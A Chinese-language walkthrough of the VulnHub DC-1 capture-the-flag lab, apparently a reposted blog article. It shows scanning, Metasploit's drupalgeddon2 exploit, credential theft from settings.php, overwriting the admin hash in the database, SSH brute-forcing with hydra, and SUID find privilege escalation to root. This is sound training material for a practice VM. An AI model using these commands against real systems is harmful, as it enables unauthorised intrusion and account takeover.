vulnhub练习 DC-1复现及分析

一、搭建环境

1.工具

靶机:DC-1 192.168.200.17

攻击机:kali 192.168.200.13

2.注意

攻击机和靶机的网络连接方式要相同,另外DC-1的网络连接方式我这里采用NAT模式,是与kali的网络连接模式相同的(当然亦可以选用桥接模式)

DC-1网络设计

点击高级后可以查看DC-1的靶机MAC地址,便于扫描IP时识别

1703569888_658a69e08ecac02aa57db.png!small?1703569888724

KALI网络设计

1703569896_658a69e8e97edcedd6dc5.png!small?1703569897084

二、信息收集

根据题意,需要得知靶机DC-1的IP地址、IP地址开放的端口及网站的指纹信息

1.扫描靶机IP地址

收集在某网段上存活的主机方式有很多种,常见的、易记忆的有arp-scan、nmap、netdiscover

arp-scan:arp-scan -l

1703569905_658a69f15254dbe5c5905.png!small?1703569906841

nmap:nmap -sP 192.168.200.0/24 -T4	 

1703569913_658a69f96a0680ffca989.png!small?1703569913932

netdiscover:netdiscover  #较慢可加参数

1703569919_658a69ffe850f2aa795f8.png!small?1703569920217

2.扫描目标IP开放端口

nmap -sV -p- 192.168.200.17 
#-sV  扫描目标主机端口上运行的软件信息
#-p-  扫描全部端口0-65535

1703569928_658a6a083f37cbc389000.png!small?1703569928801

尝试访问http80端口,一般可以直接访问

3.获取指纹信息

利用插件wappalyzer可以知道网站的指纹信息

1703569938_658a6a126df4c12bec4d6.png!small?1703569938851
亦可以利用kali中的自带工具whatqweb工具

whatweb -v 192.168.200.17

1703569947_658a6a1be3ecec71bb62c.png!small?1703569948145

从以上便两种方式都可以看出网站的cms是Drupal 7

世界上有名的CMS 其中就包括Drupal
还有wordpress、 joomla等等

附:然后就可以百度或者谷歌探测此cms包含的漏洞浮现文章,当然亦可以根据扫描出的其他信息寻找浮现文章学习。

1703569958_658a6a26cc682b6a63ab0.png!small?1703569959387

另外,经过测试22端口和111端口都是无法进行访问,网站是做了某些限制的。

4.目录扫描

部分结果

1703569966_658a6a2ebe598dcf67048.png!small?1703569967605

三、漏洞利用

Metasploit利用

先打开kali

msfconsole

1703569976_658a6a383899e9685f298.png!small?1703569976686

查询模块

search drupal

利用2018年的这个漏洞(远程代码执行)

漏洞编号:CVE-2018-7600

Drupal 6,7,8等多个子版本存在远程代码执行漏洞

1703569983_658a6a3f1192c739df2cc.png!small?1703569983746

use exploit/unix/webapp/drupal_drupalgeddon2

查看漏洞参数

show options

Current Setting是需要设置的内容

Required表示设置的要求,yes为必须,no可以设置也可不设置

1703569991_658a6a4708ffa5bd99a12.png!small?1703569991822

那就在RHOST位置设置IP地址(靶机的IP地址)

set RHOSTS 192.168.200.17

再次查询

1703569999_658a6a4f8f56a31e10649.png!small?1703569999904

利用参数exploit开始攻击

exploit

看到如下参数,则说明攻击机kali和靶机DC-1建立连接

Meterpreter session 1 opened (192.168.200.14:4444 -> 192.168.200.17:56719) at 2023-07-18 23:10:24 -0400

1703570008_658a6a58db6864ce1a3cf.png!small?1703570009404

获取shell

shell

当前路径

1703570020_658a6a645be92e957d67d.png!small?1703570020478

执行ls查看当前路径下的文件,可以看到flag1出现

flag1

1703570029_658a6a6dce9fa2aa6631d.png!small?1703570030062

反弹shell

要求攻击机上需要装python环境

python -c 'import pty; pty.spawn("/bin/bash")'

1703570040_658a6a78ebf722e526ac8.png!small?1703570041027

之句话意思是:每个好的CMS都需要一个配置文件,你也一样 说明需要找到配置文件

此CMS的配置文件名叫做settings.php

查询他所在的位置即可

cat sites/default/settings.php

flag2

告知数据库的类型是:mysql

1703570048_658a6a8056ccbcc63afb0.png!small?1703570048939

另外也可以使用:模糊查找的方式

cat `find / -name settings.php`

1703570056_658a6a88dfb835ec11744.png!small?1703570057591

英文的意思大概是:

暴力破解和字典攻击并不是获得访问权限的唯一方法(您将需要访问权限)。您可以使用这些凭据做什么?

大概意思是提权了

连接数据库

用给出的密码和数据名尝试连接数据库爆破

mysql -udbuser -pR0ck3t

连接成功!

1703570066_658a6a92e8c0146c66376.png!small?1703570067566

查询数据库

show databases;

1703570074_658a6a9a09d614f39106a.png!small?1703570074339

利用数据库

use drupaldb;

1703570085_658a6aa529be9a662d0c2.png!small?1703570085373

查询数据表

1703570093_658a6aad57199cca25df2.png!small?1703570093535

查询users表信息

select * from users;

获取账户和密码

1703570101_658a6ab5dc512aed2c7f7.png!small?1703570102285

两个账户信息

密码不是明文,不知道是什么类型

admin S S SDvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR

Fred S S SDWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg

解决方法:

看到两个用户的密码被加密了,但可以修改密码或新增一个admin权限的用户

方法一:修改admin密码

使用Drupal对数据库的加密方法,生成一个新密码,然后把新的密码更新到admin用户

先找到机密文件,加密脚本位置在/var/www/scripts/password-hash.sh下

/var/www/scripts/password-hash.sh

先退出mysql的命令行,打开加密脚本,可以看到此加密脚本使用php编写的

cat /var/www/scripts/password-hash.sh

1703570113_658a6ac163512d7e82c8d.png!small?1703570113922

用dupal自带脚本生成admin的密码为admin

php /var/www/scripts/password-hash.sh admin
username: admin    hash: $S$Dhk7CjZDCy.ZjoGxxBWmfuzwUiGVZZAqOvNz4Ah0w72GQV5tLj5i

用上图重新users表

update users set pass = "$S$Dhk7CjZDCy.ZjoGxxBWmfuzwUiGVZZAqOvNz4Ah0w72GQV5tLj5i" where name = 'admin' ;
username:admin      hash:$S$Dhk7CjZDCy.ZjoGxxBWmfuzwUiGVZZAqOvNz4Ah0w72GQV5tLj5i

方法二:添加admin权限用户

drupal 7(7.0~7.31)有SQL注入的漏洞(Drupal SQL注入漏洞(CVE-2014-3704)复现),可以添加一个admin权限的用户,然后再在msf找一下这个工具

searchsploit drupal

1703570123_658a6acb007f30df33f9c.png!small?1703570123830

查看脚本文件

searchsploit 34992.py -p

1703570131_658a6ad3f1d0c45a6fda0.png!small?1703570132243

登录账户admin,发现第flag3

flag3

1703570139_658a6adbcb37fb28b06e6.png!small?1703570139970

主要在这两个单词:passwd和shadow,linux下的文件

/etc/passwd

/etc/shadow

cat /etc/passwd

有flag4这个用户,两个方法拿到这个用户的密码,一个是弱口令爆破,另一个提权打开shadow文件查看密码

1703570147_658a6ae3655d7d0510f29.png!small?1703570148380

而另一个是权限不够,当前用户是www-data需要root权限

1703570155_658a6aeb9f7276960c300.png!small?1703570155711

切换目录带到目标文件下flag4.txt,看内容

flag4

第一种方式:

1703570162_658a6af29d48516030869.png!small?1703570163267

提权至root权限,找最后的flag了,使用find命令查找有特殊权限suid的命令:find / -perm -4000

1703570171_658a6afb00ddd9debcab8.png!small?1703570171724

发现flag4,并且flag4是一个用户,flag4用户密码可以使用ssh登录进行爆破

再使用find 命令进行提权:find ./misc -exec “/bin/sh” ;获取root 权限,

1703570180_658a6b042487c9e803207.png!small?1703570180380

第二种方式

wget http://www.openwall.com/john/j/john-1.8.0.tar.gz   #下载John密码包
tar -xvf john-1.8.0.tar.gz  #解压缩
cd john-1.8.0/ src    #进入源码目录下
uname -a  #查看当前系统版本
make linux-x86-64   #编译并指定当前的Linux系统版本

使用hydra+John密码包对flag4的密码进行爆破,爆破密码为:flag4/orange

1703570189_658a6b0d386ecedc4a168.png!small?1703570189384

flag4用户使用ssh登录

ssh flag4@192.168.200.17

1703570195_658a6b13c6d3d96bc705a.png!small?1703570196099

此时发现是flag4用户,而不是root,用上边同样的方法,find命令提权为root。

1703570202_658a6b1ac5e4334a06567.png!small?1703570203009

thefinalflag.txt

在root目录下发现最后的flag

1703570211_658a6b23e5b3438cc9f5e.png!small?1703570212288

五、总结

1.扫描局域网主机

arp-scan -l

netdiscover用法

map -sP x.x.x.x

2.开放端口扫描

nmap -sV -p- x.x.x.x

2.MSF使用

3.hydra爆破:sudo hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.0.100

hydra+John密码包

以上两种方式可以爆出flag4的密码

4.suid提权:Linux下用SUID提权、find命令exec

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/693512.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

前端使用QGIS工具生成地图

1 找到所需要地图的 json 数据 1.1 查找 json 数据的两个网址(个人常用) 1.1.1 DataV.GeoAtlas 网站 DataV.GeoAtlas 这个网站不能具体到县内包含的城镇分化,但是对于县级以上的地图数据,使用起来很方便。 1.1.2 POI数据 网站 …

创作无版权素材:解放创意的利器

title: 创作无版权素材:解放创意的利器 date: 2024/2/21 13:52:09 updated: 2024/2/21 13:52:09 tags: 无版权创作自由法律合规节省成本提升质量多样素材创意工具 在当今数字化时代,内容创作成为了一种非常重要的方式来传达信息和表达创意。 然而&#…

【在 Windows 系统上开发 Flutter 项目并将其发布到 Ubuntu 服务器】

在 Windows 系统上开发 Flutter 项目并将其发布到 Ubuntu 服务器上,按照以下步骤进行操作: 构建 Flutter Web 应用: 在 Windows 系统上,进入Flutter 项目目录,然后运行 flutter build web 命令来构建你的 Flutter Web …

常见锁策略以及CAS

目录 1.1乐观锁&悲观锁 1.2轻量级锁&重量级锁 1.3自旋锁&挂起等待锁 1.4互斥锁&读写锁 1.5可重入锁&不可重入锁 1.6公平锁&非公平锁 1.7synchronized的特点 2.CAS(Compare and swap) 2.1.是什么 2.2.基于CAS方式实现的线程安全优缺点 2.3.使用场景…

设计模式----工厂模式

工厂模式 工厂模式即建立创建对象的工厂,实现创建者和调用者分离。 简单工厂模式:该模式对对象创建管理方式最为简单,因为他简单的对不同类对象的创建进行了一层薄薄的封装。该模式通过向工厂传递类型来指定要创建的对象。 工厂方法模式&am…

JVM对象的创建流程与内存分配

对象的创建流程与内存分配 创建流程对象内存分配方式内存分配安全问题对象内存分配流程【重要】:对象怎样才会进入老年代?重点 案例演示:对象分配过程大对象直接进入老年代02-对象内存分配的过程: 创建流程 加载 验证 解析 准备 初始化 使用 写在 对象内存分配方式 内存分配…

过滤器:Gateway GlobalFilter在分布式系统中的应用

在Spring Cloud Gateway中,GlobalFilter接口允许你创建全局过滤器,这意味着该过滤器会应用到所有的路由上,无论它们是否匹配特定的路由规则。Ordered接口用于定义过滤器的执行顺序。 以下是一个AuthFilter类的示例,该类实现了Glo…

GPT-SoVITS-WebUI 克隆声音 macos搭建

强大的少样本语音转换与语音合成Web用户界面 macos运行参考 macos conda create -n GPTSoVits python3.9 conda activate GPTSoVits激活环境 conda activate GPTSoVits停用 conda deactivate mkdir GPTSoVits cd GPTSoVits git clone https://github.com/RVC-Boss/GPT-SoVITS…

算法项目(1)—— LSTM+CNN+四种注意力对比的股票预测

本文包含什么? 项目运行的方式(包教会)项目代码(在线运行免环境配置)不通注意力的模型指标对比一些效果图运行有问题? csdn上后台随时售后.项目说明 本项目实现了基于CNN+LSTM构建模型,然后对比不同的注意力机制预测股票走势的效果。首先看一下模型结果的对比: 模型MS…

深度学习基础之《TensorFlow框架(6)—张量》

一、张量 1、什么是张量 张量Tensor和ndarray是有联系的,当我们print()打印值的时候,它返回的就是ndarray对象 TensorFlow的张量就是一个n维数组,类型为tf.Tensor。Tensor具有以下两个重要的属性: (1)typ…

2024年2月的TIOBE指数,go语言排名第8,JAVA趋势下降

二月头条:go语言进入前十 本月,go在TIOBE指数前10名中排名第8。这是go有史以来的最高位置。当谷歌于2009年11月推出Go时,它一炮而红。在那些日子里,谷歌所做的一切都是神奇的。在Go出现的几年前,谷歌发布了GMail、谷歌…

枚举类(enum)

优质博文:IT-BLOG-CN ​ 枚举类: 就是对象的实例个数是确定的(例如:单例模式),也就说我们在创建枚举类的时候,会对构造器进行设置 一、自定义创建枚举类 为什么需要枚举类? 【1】…

我国无水氢氟酸产量逐渐增长 东岳集团市场占比较大

我国无水氢氟酸产量逐渐增长 东岳集团市场占比较大 无水氢氟酸是一种十分重要的化工产品,在常温常压下多表现为一种无色发烟液体。无水氢氟酸具有吸水性强、化学活性高、介电常数高、阻燃性能好等优点。经过多年发展,无水氢氟酸制备方法已经成熟&#xf…

Spring Cloud Alibaba-04-Sentinel服务容错

Lison <dreamlison163.com>, v1.0.0, 2023.09.10 Spring Cloud Alibaba-04-Sentinel服务容错 文章目录 Spring Cloud Alibaba-04-Sentinel服务容错高并发带来的问题服务雪崩效应常见容错方案Sentinel入门什么是Sentinel微服务集成Sentinel安装Sentinel控制台 实现一个接…

【前端】前端三要素之BOM

写在前面&#xff1a;本文仅包含BOM内容&#xff0c;JavaScript传送门在这里&#xff0c;DOM传送门在这里。 本文内容是假期中刷的黑马Pink老师视频&#xff08;十分感谢Pink老师&#xff09;&#xff0c;原文保存在个人的GitLab中&#xff0c;如果需要写的网页内容信息等可以评…

go build

go build 作用&#xff1a;将Go语言程序和相关依赖编译成可执行文件 go build 无参数编译 生成当前目录名的可执行文件并放置于当前目录下&#xff0c;如&#xff1a; go build go build文件列表 编译同目录的多个源码文件时&#xff0c;可以在 go build 的后面提供多个文件…

C语言:幂的末尾

题目描述 a^b的末3位数是多少&#xff1f; 输入输出格式 输入格式 两个正整数a&#xff0c;b。1≤a≤100&#xff0c;1≤b≤10000。 输出格式 从高位到低位输出幂的末三位数字&#xff0c;中间无分隔符。若幂本身不足三位&#xff0c;在前面补零。 完整代码 #include <std…

vim 实用快捷键

文章目录 1. 翻页2. 字跳转3. 单行编辑4. 多行操作 1. 翻页 快捷键含义快捷记录ctrl-u上翻半页upctrl-d下翻半页downctrl-f上翻一页forwardctrl-b下翻一页backward 2. 字跳转 快捷键含义快捷记录b跳到上一个字首beforeB跳到上一个字首&#xff0c;长跳e跳到下一个字尾endE跳…

QT设置窗口随窗体变化(窗口文本框随窗体的伸缩)

目录 1.建立新窗口2.最终效果 1.建立新窗口 1&#xff09;在窗体中创建一个 textBrowser&#xff0c;记录坐标及宽高 X-100 Y-130 宽-571 高-281&#xff0c;窗体宽高800*600&#xff1b; 2&#xff09;在.h头文件中插入void resizeEvent(QResizeEvent *event) override;函数 …

深度学习之pytorch 中 torch.nn介绍

1. torch.nn 介绍 pytorch 中必用的包就是 torch.nn&#xff0c;torch.nn 中按照功能分&#xff0c;主要如下有几类&#xff1a; 1. Layers&#xff08;层&#xff09;&#xff1a;包括全连接层、卷积层、池化层等。 2. Activation Functions&#xff08;激活函数&#xff09…